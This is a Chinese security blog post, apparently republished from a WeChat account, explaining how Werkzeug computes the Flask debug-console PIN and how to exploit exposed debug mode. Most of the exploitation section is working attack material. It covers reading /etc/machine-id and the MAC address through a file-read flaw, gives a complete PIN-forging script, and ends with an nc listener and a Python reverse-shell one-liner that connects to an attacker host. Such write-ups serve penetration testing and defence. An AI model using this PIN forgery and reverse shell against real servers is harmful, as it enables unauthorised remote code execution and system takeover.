前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >渗透系列之flask框架开启debug模式漏洞分析

渗透系列之flask框架开启debug模式漏洞分析

作者头像
安全小王子
发布2020-10-22 10:18:43
3.6K0
发布2020-10-22 10:18:43
举报
文章被收录于专栏:betasecbetasec

声明:公众号大部分文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载。未经授权,严禁转载,如需转载,请联系开白!

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者及本公众号无关!!!

START

0x01渗透案例引发的研究思路

1、 日常渗透发现进入到一处系统的后台,随意点击了后台的一处功能,触发了该系统的debug,如下图所示:

2、 点击报错代码显示的黑框框(输入框),弹出一个需要输入pin码的输入框,如下图所示(现在环境无法复现所以找了一个历史案例图):

3、 经过查阅flask的debug模式的相关资料,发现我们如果成功获取pin码,可以在报错页面执行任意代码,但是我们现在无法获取pin码,那我们在本地开启一个简单的flask应用看看pin码到底是怎么产生的。

Flask代码如下:

from flask import Flask

app = Flask(__name__)
@app.route('/')
def hello_word():
    return None
if __name__ == '__main__':
app.run(host='0.0.0.0', port=9003, debug=True)

经过测试,同一台机器上多次启动同一个flask应用时,这个生成的pin码是固定的,是由一些固定的值进行生成的,不如直接去看flask源码是如何写的:

用pycharm在app.run下好断点,开启debug模式

由于代码写的还是相当官方的,很容易就能找到生成pin码的部分,代码所在的路径为: C:\Python27\Lib\site-packages\werkzeug\debug,其中关键的函数get_pin_and_cookie_name()如下:

 def get_pin_and_cookie_name(app):
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get('WERKZEUG_DEBUG_PIN')
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == 'off':
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace('-', '').isdigit():
        # If there are separators in the pin, return it directly
        if '-' in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, '__module__',
                      getattr(app.__class__, '__module__'))

    try:
        # `getpass.getuser()` imports the `pwd` module,
        # which does not exist in the Google App Engine sandbox.
        username = getpass.getuser()
    except ImportError:
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, '__name__', getattr(app.__class__, '__name__')),
        getattr(mod, '__file__', None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [
        str(uuid.getnode()),
        get_machine_id(),
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    cookie_name = '__wzd' + h.hexdigest()[:20]

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    return rv, cookie_name

return的rv变量就是生成的pin码

最主要的就是这一段哈希部分:

for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, text_type):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

连接了两个列表,然后循环里面的值做哈希,这两个列表的定义:

probably_public_bits = [
        username,
        modname,
        getattr(app, '__name__', getattr(app.__class__, '__name__')),
        getattr(mod, '__file__', None),
    ]

    private_bits = [
        str(uuid.getnode()),
        get_machine_id(),
    ]

1、probably_public_bits包含4个字段,分别为username,modname,getattr(app, “name“, app.class.name),getattr(mod, “file“, None),其中username对应的值为当前主机的用户名,modname的值为’flask.app’,getattr(app, “name“, app.class.name)对应的值为’Flask’,getattr(mod, “file“, None)对应的值为app包的绝对路径。

2、private_bits包含两个字段,分别为str(uuid.getnode())和get_machine_id(),其中str(uuid.getnode())为网卡mac地址的十进制值,在linux系统下得到存储位置为/sys/class/net/ens33(对应网卡)/address,get_machine_id()的值为当前机器唯一的机器码,在linux系统下的存储位置为/etc/machine-id

当我们获取到这六个参数的值时,就可以通过脚本推算出生成的pin码,然后进行任意命令执行。

0x02漏洞利用

1、flask debug模式无开启pin码验证

可直接进入交互式的python shell 进行命令执行。

2、flask debug模式开启了pin码验证

1、一般都是需要通过任意文件读取读取到生成pin码private_bits()所需要的2个参数值。

2、通过debug报错代码获取到public_bits()所需要的4个参数值。

3、然后使用以下payload计算出pin:

import hashlib
from itertools import chain
probably_public_bits = [
    'Administrator',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    'C:\Users\Administrator\PycharmProjects\securritystudy\venv\lib\site-packages\flask\app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '106611682152170',# str(uuid.getnode()),  /sys/class/net/ens33/address
    b'6893142a-ab05-4293-86f9-89df10a4361b'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

如下图所示:

4、 然后就可以进入交互式的python shell进行命令执行。

比如使用python进行反弹shell。

步骤如下:

1、 在攻击机(A)上开启一个nc监听端口。

Nc -lvvp 8888

2、 在debug的console页面上输入python反弹shell的代码进行反弹到攻击机上。

代码如下:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

0x03总结

1、正常flask开启了debug模式,如果没有开启pin码进行校验,可直接获取python交互式shell进行命令执行

2、 flask开启了debug模式,但是开启了pin码校验,如果对应的flask应用没有任意文件读取的漏洞是无法获取到生成pin所需要的6个参数值的,无法获取交互式python shell。

3、flask开启了debug模式,且开启了pin码校验,且对应的应用存在任意文件读取的漏洞,可以通过文件读取获取到username、modname、getattr(app, '__name__', getattr(app.__class__, '__name__'))、getattr(mod, '__file__', None)、str(uuid.getnode()), /sys/class/net/ens33/address、get_machine_id(), /etc/machine-id,从而通过脚本生成pin码,然后获取python交互式shell,进行命令执行.

0x04参考链接

https://zhuanlan.zhihu.com/p/32138231

https://xz.aliyun.com/t/2553#toc-2

https://www.dazhuanlan.com/2019/12/05/5de8c90ee03dd/?__cf_chl_jschl_tk__=6297c338db1048cd0af15fe375956340bbce6156-1601270282-0-AYlx_7583zw_1g7Q7rHBo6L-5t4evM5Lw4yjLav_1CEFCn2PNq0qWkKcsYK95Fw5Lsvt88XATE26KexsrJSlK2wtY9TIZuC7abxIwJwGkWA-rxP2nUqdchaz6qWeVQ_ucUTxsM0ft5q69yMs6_c13NWXUy5Jb7DyUQ-CSKNuICy02DrQsVA46eUtnxT0XWHA0twB2tYuqlf1i-ZNGgzgatTZvV69ltExMrWUWx8IGM7jmF6I2FihCIJ1-tsebIL0w6xG_jZFNeS-UJVk3C8iozHdWkde0sARVUJJ4SNlUE63B5yxxDwpb6Ukl_OAseGo9w

END

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-10-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 betasec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、flask debug模式无开启pin码验证
  • 2、flask debug模式开启了pin码验证
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档